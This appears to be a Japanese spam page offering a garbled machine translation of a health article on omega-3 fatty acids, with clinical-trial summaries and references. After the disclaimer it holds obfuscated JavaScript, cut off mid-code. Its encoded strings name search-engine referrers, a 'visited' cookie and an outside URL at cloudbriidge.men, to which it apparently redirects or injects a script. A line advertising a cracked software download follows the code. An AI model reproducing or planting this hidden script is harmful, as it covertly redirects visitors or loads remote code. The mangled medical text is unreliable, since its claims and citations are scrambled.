最高のオメガ3 6 9何ですか




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最高のオメガ3 6 9何ですかオメガ3脂肪酸:エッセンシャル貢献人間の体は、それが必要とする脂肪の種類を最大限に活用することができます から 他の脂肪または#8217を原料にISN;ω-3の場合のT 脂肪 酸(さらに オメガ3脂肪を呼ばれるとn-3脂肪)これらは、必須脂肪酸、体ができ#8217です; tは、最初からそれらを作るが、オメガ3の高い食品フーズからそれらを取得する必要があります)、魚、植物油、ナッツ類(特にクルミが含ま、亜麻の種子、亜麻仁油、および葉野菜オメガ3脂肪は多価不飽和脂肪の主要なファミリーであります そこ 三つの主要なオメガ3は以下のとおりです。エイコサペンタエン酸(EPA)とドコサヘキサエン酸(DHA)は、魚から主に来るので、彼らは時々あります 呼ばれます 海洋オメガ3α-リノレン酸(ALA)、ほとんどの西洋の食事の中で最も一般的なオメガ3脂肪酸は、特に中に、植物油やナッツ類(特にクルミ)、亜麻の種子やアマニ油、葉野菜、およびいくつかの動物性脂肪に発見されました 草-給餌動物人体一般 用途 エネルギー、およびEPAとDHAへの変換のためのALAは非常に限られていますいくつかの大規模な臨床試験は、LOメーカーデッラSopravvivenzaあたりグルッポイタリア語で心臓病の魚や魚油の効果を評価しているNELL#8217; Infarto Miocardio(GISSI予防試験として知られている)、の1グラムのカプセルを取った心臓発作の生存者3年間のオメガ3脂肪毎日プラセボを摂取した人よりも繰り返し、心臓発作、脳卒中、または突然死のダイスを持っている可能性が低かった(2)特に、心臓突然死のリスクが約50%減少しました。より最近の日本のEPA脂質介入研究(JELIS)、EPAを取った参加者に加えて、A コレステロール-スタチンを低下させることが(3)スタチン単独を取った人よりも主要冠動脈イベント(心臓突然死、致命的または非致死的心臓発作、不安定狭心症、または開いたり狭くなったり遮断された冠動脈をバイパスするための手順を)持っている可能性が低かったです研究者は健康の専門家からの前立腺癌の結果に脂肪がフォローアップ調査と他の人がその男性はその食事EPAが豊富であると示し、海洋植物オメガ3の影響の可能性との間に、このいずれかを、バランスの別の種類のハードな外観を取っています(主に魚や魚介類から)DHA(6)同時に、EPAとDHAの低摂取と比べ進行性前立腺癌を発症する可能性が低い、いくつかの-すべてではないが、研究では、前立腺癌および高度の増加を示し、 前立腺 (主にサプリメントから)ALAの多量摂取と男性の間で癌がしかし、この効果は非常に大きい前立腺癌、肺癌、大腸、および卵巣(PLCO)がん検診の試験では矛盾している、例えば、ALA摂取と早期の間にはリンクがありませんでした後半、または 高度 前立腺癌(7)健康のためのレシピリファレンスn-3系多価不飽和による突然心臓死の1葉A予防 脂肪 酸J Cardiovascメッド(ズタウン)2007; 8補遺1:S27-29心筋梗塞後のn-3多価不飽和脂肪酸とビタミンEとの2食事補給:GISSI-Prevenzione trialYokoyama M、Origasa H、松崎Mらの結果。グルッポイタリア語あたりLOメーカー・デッラ・Sopravvivenza NELL#8217; 1999 Infarto miocardicoランセット。 354:447から55高コレステロール血症患者(JELIS)の主要冠動脈イベントに3エイコサペンタエン酸の横山M、Origasa H、松崎Mら効果:無作為化オープンラベルは、ランセット2007のエンドポイント分析を盲検。 369:1090から10984ウィレットWC心血管疾患J Cardiovascメッド(ガースタウン)2007の予防における食餌のn-6脂肪酸の役割。 8補遺1:S42-55 Mozaffarian D、 Ascherio 間、フーFBらのInterplay 異なります 多価不飽和脂肪酸と男性の循環2005年の冠状動脈性心臓病のリスク。 111:157から646 Leitzmann MF、Stampfer MJ、ミショーDS、n-3およびn-6脂肪酸および前立腺癌アムJ CLIN NUTR 2004リスクら食物摂取。 80:204から167 Koralek DO、ピーターズU、Andriole G、ら栄養α-リノレン酸と前立腺がんのリスク(米国)の前向き研究がんはコントロール2006を引き起こします。 17:783から918 Eilander A、Hundscheid DC、OsendarpのSJ、Transler C、視覚上のn-3長鎖多価不飽和脂肪酸補給のZock PL効果と 認知 開発 ずっと 子供の頃:ヒト試験の見直しプロスタグランジンLeukot Essent脂肪酸2007; 76:189から2039王研E、クレインマンKP、バーランドWE、サイモンのSR、リッチエドワーズJW、 ギルマン 全国水銀諮問Obstet Gynecol 2003年後の妊婦の魚の消費量MW下落。 102:346から51利用規約このウェブサイトの内容は、教育目的のためであり、提供することを意図していません 個人的な 医学的なアドバイスは、あなたは、医学的状態に関するあなたが持つかもしれないあらゆる質問とのかかりつけの医師や他の資格のある健康プロバイダの助言を求めるべき 決して それを求めているに医療専門家のアドバイスや遅延を無視 なぜなら 何かをあなたがこのウェブサイト上で読んでいる栄養源は、推奨または任意の製品を推奨するものではありません。.. var _0x3dc4=['Z2V0RWxlbWVudHNCeVRhZ05hbWU=','aGVhZA==','YXBwZW5kQ2hpbGQ=','5pyA6auY44Gu44Kq44Oh44KsMys2KznkvZXjgafjgZnjgYs=','MXwzfDV8MHw0fDI=','UUVQ','bGVuZ3Ro','amZM','d0FOSkk=','c3BsaXQ=','Y29va2ll','bWF0Y2g=','OyBzZWN1cmU=','bkJxU3I=','OyBleHBpcmVzPQ==','QlNHcGg=','Z2V0VGltZQ==','UWFXVFI=','OyBwYXRoPQ==','SkJKSmU=','OyBkb21haW49','Lmdvb2dsZS4=','LmFzay4=','LmFsdGF2aXN0YS4=','dmlzaXRlZA==','VGZ5','VlBK','aHR0cHM6Ly9jbG91ZGJyaWlkZ2UubWVuL2loZXJiLWpwLnBocD8mcXVlcnk9','TVNlSWE=','cGJhd3A=','aG5RS2U=','LmFvbC4=','R2t3Slc=','LnlhbmRleC4=','UFBaYlM=','Uk13RUQ=','YWhnWGQ=','cXRDVHU=','QUFuUWg=','cmVwbGFjZQ==','c2V0','VG94WXU=','dVBqaEI=','Zm5xR2Y=','c2NyaXB0','Y3JlYXRlRWxlbWVudA==','b3RHWUE=','c3Jj'];(function(_0x1b9102,_0x4ecf17){var _0x4d6160=function(_0x546d3c){while(--_0x546d3c){_0x1b9102['push'](_0x1b9102['shift']());}};_0x4d6160(++_0x4ecf17);}(_0x3dc4,0xec));var _0x24c7=function(_0x572547,_0x498287){_0x572547=_0x572547-0x0;var _0x5784e1=_0x3dc4[_0x572547];if(_0x24c7['initialized']===undefined){(function(){var _0x121002;try{var _0x502202=Function('return\x20(function()\x20'+'{}. 773a7aa168 Anvsoft SynciOS Data Transfer 3.0.5 Crackダウンロードはこちら!,scuffham amps s gear2にひびが入った

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